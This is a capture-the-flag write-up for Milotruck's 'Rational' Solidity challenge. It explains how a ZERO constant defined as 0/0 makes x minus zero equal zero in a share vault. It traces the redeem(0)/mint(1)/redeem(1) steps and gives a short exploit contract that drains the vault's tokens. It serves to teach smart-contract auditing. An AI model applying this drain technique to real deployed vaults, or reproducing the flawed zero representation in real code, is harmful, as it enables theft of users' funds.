ctfwriteup
  • βœ…/home/ret2basic.eth
  • Web3 CTF
    • πŸ‘‘Damn Vulnerable DeFi V4
      • βœ…Unstoppable
      • βœ…Naive Receiver
      • βœ…Truster
      • βœ…Side Entrance
      • βœ…The Rewarder
      • βœ…Selfie
      • βœ…Compromised
      • βœ…Puppet
      • βœ…Puppet V2
      • βœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • πŸ‘‘Milotruck Challs
      • βœ…1. Greyhats Dollar
      • βœ…2. Escrow
      • βœ…3. Simple AMM Vault
      • 4. Voting Vault
      • βœ…5. Meta Staking
      • βœ…6. Gnosis Unsafe
      • βœ…7. Rational
      • 8. Launchpad
    • Secureum AMAZEX DSS Paris
      • βœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • βœ…Crystal DAO
      • βœ…Liquidatoooor
    • βœ…Ethernaut
      • βœ…Hello Ethernaut
      • βœ…Fallback
      • βœ…Fallout
      • βœ…Coin Flip
      • βœ…Telephone
      • βœ…Token
      • βœ…Delegation
      • βœ…Force
      • βœ…Vault
      • βœ…King
      • βœ…Re-entrancy
      • βœ…Elevator
      • βœ…Privacy
      • βœ…Gatekeeper One
      • βœ…Gatekeeper Two
      • βœ…Naught Coin
      • βœ…Preservation
      • βœ…Recovery
      • βœ…MagicNumber
      • βœ…Alien Codex
      • βœ…Denial
      • βœ…Shop
      • βœ…DEX
      • βœ…DEX Two
      • βœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • βœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • βœ…Flashbots MEV-Share CTF
    • βœ…Capture the Ether
      • βœ…Lotteries
      • βœ…Math
      • βœ…Miscellaneous
    • βœ…EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…More EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…QuillCTF
      • βœ…MetaToken
      • βœ…Temporary Variable
      • KeyCraft
      • βœ…Lottery
      • βœ…Private Club
      • Voting Machine
      • βœ…Predictable NFT
      • βœ…Invest Pool
      • PseudoRandom
      • βœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • βœ…Donate
      • βœ…WETH-11
      • Panda Token
      • Gate
      • βœ…WETH10
      • βœ…Pelusa
      • βœ…True XOR
      • βœ…Collatz Puzzle
      • βœ…D31eg4t3
      • βœ…Safe NFT
      • βœ…VIP Bank
      • βœ…Confidential Hash
      • βœ…Road Closed
    • βœ…unhacked
      • βœ…reaper
  • Paradigm CTF 2023 (Todo)
    • Oven
    • Dragon Tyrant
  • Remedy CTF 2025 (Todo)
    • Diamond Heist
    • R vs Q
    • Rich Man's Bet
    • Casino Avengers
    • Frozen Voting
    • Lockdown
    • Proof of Thought
    • Maybe it's unnecessary?
    • Et tu, Permit2?
    • Not a very LUCKY TOKEN
    • risc4
    • HealthCheck as a Service
    • Restricted Proxy
    • Unstable Pool
    • Opaze Whisperer
    • "memorable" onlyOwner
    • World of Memecraft
    • Copy/Paste/Deploy
    • Peer-to-peer-to-me
    • Joe's Lending Mirage
    • Tokemak
    • OFAC Executive Order 13337
  • Game Hacking
    • πŸ‘‘Pwn Adventure 3: Pwnie Island
      • βœ…Prep: Speed Hack
      • βœ…Prep: Infinite Health and Mana (Offline)
      • βœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • βœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • βœ…Step 1: Setup
      • βœ…Step 2: Scan for "Exact Value"
      • βœ…Step 3: Scan for "Unknown initial value"
      • βœ…Step 4: Scan for float and double
      • βœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • βœ…01 - ReturnBool
      • βœ…02 - SimpleRevert
      • βœ…03 - Return42
      • βœ…04 - RevertWithError
      • βœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024 (web challs)
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • βœ…Jarvis OJ Pwn Xman Series
    • βœ…Jarvis OJ Crypto RSA Series
    • βœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • βœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • βœ…Linux
        • βœ…Safe (Easy)
        • βœ…Delivery (Easy)
        • βœ…TheNotebook (Medium)
        • βœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • βœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • βœ…TCM Linux Privilege Escalation Course
      • βœ…TryHackMe - Simple CTF (Easy)
      • βœ…TryHackMe - Vulnversity (Easy)
      • βœ…TryHackMe - CMesS (Medium)
      • βœ…TryHackMe - UltraTech (Medium)
      • βœ…TryHackMe - LazyAdmin (Easy)
      • βœ…TryHackMe - Anonymous (Medium)
      • βœ…TryHackMe - tomghost (Easy)
      • βœ…TryHackMe - ConvertMyVideo (Medium)
      • βœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Codebase walkthrough
  • Bug description
  • PoC
  1. Web3 CTF
  2. Milotruck Challs

7. Rational

rational-math ZERO representation

Previous6. Gnosis UnsafeNext8. Launchpad

Last updated 1 day ago

Codebase walkthrough

This is a vault implementation using rational math. The original rational math lib can be found here: .

The idea is to store numerator in high 128 bits and store denominator in low 128 bit. Then add sub multiply divide become 4 formulae where you can compute its numerator part and denominator part independently. By doing so you avoid doing division and kind of solve precision loss systematically.

Comment: Why β€œkind of”? Because in each step you have to simplify the rational number to avoid overflow (recall that the upper bound is only 2^128 - 1 now). Simplification just means dividing numerator and denominator by gcd. The probability of two non-equal integers to be coprime is 6 / (pi)^2, which is around 60% (). Being coprime means gcd = 1 therefore can’t be simplified. Also you have to consider the probability that the gcd is very small therefore simplification has little effect. In conclusion, the idea of rational number is great but after doing multiplication for many rounds you will trigger overflow protection, so this approach is not widely adopted.

Bug description

The vulnerability exists in the sub function of the Rational library, which violates the fundamental mathematical property that x - 0 = x. This breaks the vault's share accounting mechanism and allows complete fund drainage.

The bug stems from how ZERO is defined and handled in arithmetic operations:

Rational constant ZERO = Rational.wrap(0);

Rational.wrap(0) creates a rational number with both numerator and denominator as 0 (representing 0/0), not the mathematically correct 0/1. When this malformed zero is used in subtraction, it corrupts the calculation.

(In the original codebase it was Rational constant ZERO = Rational.wrap(1);)

In the sub function, when subtracting zero from any rational number:

function sub(Rational x, Rational y) pure returns (Rational) {
    (uint256 xNumerator, uint256 xDenominator) = fromRational(x);
    (uint256 yNumerator, uint256 yDenominator) = fromRational(y);

    if (yNumerator != 0) require(xNumerator != 0, "Underflow");

    // (a / b) - (c / d) = (ad - cb) / bd
    uint256 numerator = xNumerator * yDenominator - yNumerator * xDenominator;
    uint256 denominator = xDenominator * yDenominator;

    return toRational(numerator, denominator);
}

When y = ZERO (which is 0/0):

  • yNumerator = 0, yDenominator = 0

  • numerator = xNumerator * 0 - 0 * xDenominator = 0

  • denominator = xDenominator * 0 = 0

  • Result: toRational(0, 0) returns ZERO

Therefore, any number minus zero equals zero, which is mathematically incorrect.

Exploitation Path:

The vault uses rational numbers for share tracking. The attacker exploits this bug to corrupt the totalShares variable:

  1. Initial State: Vault has 5000e18 tokens, totalShares = 5000e18/1

  2. redeem(0): Subtracting zero corrupts the state:

    totalShares = totalShares - 0 = ZERO  // BUG: should remain unchanged
  3. mint(1): With totalShares = ZERO, the vault thinks it's empty:

    if (totalShares == RationalLib.ZERO) return RationalLib.fromUint128(assets);

    The attacker gets 1 share for 1 token, and totalShares becomes 1/1.

  4. redeem(1): The attacker now owns 100% of shares (1/1 out of 1/1), so they can withdraw the entire vault balance.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

import { Setup } from "src/rational/Setup.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Claim 1000 GREY tokens
        setup.claim();

        // EXPLOIT: Redeem 0 shares to corrupt totalShares
        // Due to the bug: totalShares - 0 = 0 (instead of totalShares)
        setup.vault().redeem(0);

        // Mint 1 share for only 1 token (vault thinks it's empty)
        setup.grey().approve(address(setup.vault()), 1);
        setup.vault().mint(1);

        // Redeem 1 share = 100% ownership = entire vault balance
        setup.vault().redeem(1);

        // Transfer all 6000 GREY to caller
        setup.grey().transfer(msg.sender, 6000e18);
    }
}
πŸ‘‘
βœ…
https://github.com/MiloTruck/rational-math/blob/master/src/Rational.sol
https://math.stackexchange.com/questions/64498/probability-that-two-random-numbers-are-coprime-is-frac6-pi2